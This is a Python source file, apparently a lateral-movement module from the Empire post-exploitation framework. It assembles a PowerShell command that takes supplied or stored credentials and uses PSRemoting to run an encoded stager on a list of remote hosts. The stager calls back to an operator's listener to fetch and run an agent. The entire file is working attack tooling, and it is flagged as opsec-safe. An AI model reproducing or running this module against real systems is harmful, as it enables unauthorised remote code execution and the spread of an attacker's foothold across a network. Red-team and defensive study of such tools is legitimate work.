text: from lib.common import helpers
  
  class Module:
  
      def __init__(self, mainMenu, params=[]):
  
          self.info = {
              'Name': 'Invoke-PSRemoting',
  
              'Author': ['@harmj0y'],
  
              'Description': ('Executes a stager on remote hosts using PSRemoting.'),
  
              'Background' : False,
  
              'OutputExtension' : None,
              
              'NeedsAdmin' : False,
  
              'OpsecSafe' : True,
  
              'MinPSVersion' : '2',
              
              'Comments': []
          }
  
          # any options needed by the module, settable during runtime
          self.options = {
              # format:
              #   value_name : {description, required, default_value}
              'Agent' : {
                  'Description'   :   'Agent to run module on.',
                  'Required'      :   True,
                  'Value'         :   ''
              },
              'CredID' : {
                  'Description'   :   'CredID from the store to use.',
                  'Required'      :   False,
                  'Value'         :   ''                
              },
              'ComputerName' : {
                  'Description'   :   'Host[s] to execute the stager on, comma separated.',
                  'Required'      :   True,
                  'Value'         :   ''
              },
              'Listener' : {
                  'Description'   :   'Listener to use.',
                  'Required'      :   True,
                  'Value'         :   ''
              },
              'UserName' : {
                  'Description'   :   '[domain\]username to use to execute command.',
                  'Required'      :   True,
                  'Value'         :   ''
              },
              'Password' : {
                  'Description'   :   'Password to use to execute command.',
                  'Required'      :   True,
                  'Value'         :   ''
              },
              'UserAgent' : {
                  'Description'   :   'User-agent string to use for the staging request (default, none, or other).',
                  'Required'      :   False,
                  'Value'         :   'default'
              },
              'Proxy' : {
                  'Description'   :   'Proxy to use for request (default, none, or other).',
                  'Required'      :   False,
                  'Value'         :   'default'
              },
              'ProxyCreds' : {
                  'Description'   :   'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
                  'Required'      :   False,
                  'Value'         :   'default'
              }
          }
  
          # save off a copy of the mainMenu object to access external functionality
          #   like listeners/agent handlers/etc.
          self.mainMenu = mainMenu
  
          for param in params:
              # parameter format is [Name, Value]
              option, value = param
              if option in self.options:
                  self.options[option]['Value'] = value
  
  
      def generate(self):
          
          listenerName = self.options['Listener']['Value']
          userAgent = self.options['UserAgent']['Value']
          proxy = self.options['Proxy']['Value']
          proxyCreds = self.options['ProxyCreds']['Value']
          userName = self.options['UserName']['Value']
          password = self.options['Password']['Value']
  
          script = """Invoke-Command """
  
          # if a credential ID is specified, try to parse
          credID = self.options["CredID"]['Value']
          if credID != "":
              
              if not self.mainMenu.credentials.is_credential_valid(credID):
                  print helpers.color("[!] CredID is invalid!")
                  return ""
  
              (credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
  
              self.options["UserName"]['Value'] = str(domainName) + "\\" + str(userName)
              self.options["Password"]['Value'] = password
  
  
          if not self.mainMenu.listeners.is_listener_valid(listenerName):
              # not a valid listener, return nothing for the script
              print helpers.color("[!] Invalid listener: " + listenerName)
              return ""
  
          else:
              # generate the PowerShell one-liner with all of the proper options set
              launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
                  
              if launcher == "":
                  return ""
              else:
                  # build the PSRemoting execution string
                  computerNames = "\"" + "\",\"".join(self.options['ComputerName']['Value'].split(",")) + "\""
                  script += " -ComputerName @("+computerNames+")"
                  script += " -ScriptBlock {" + launcher + "}"
  
                  # add in the user credentials
                  script = "$PSPassword = \""+password+"\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential(\""+userName+"\",$PSPassword);" + script + " -Credential $Credential"
  
                  script += ";'Invoke-PSRemoting executed on " +computerNames +"'"
              
              return script
  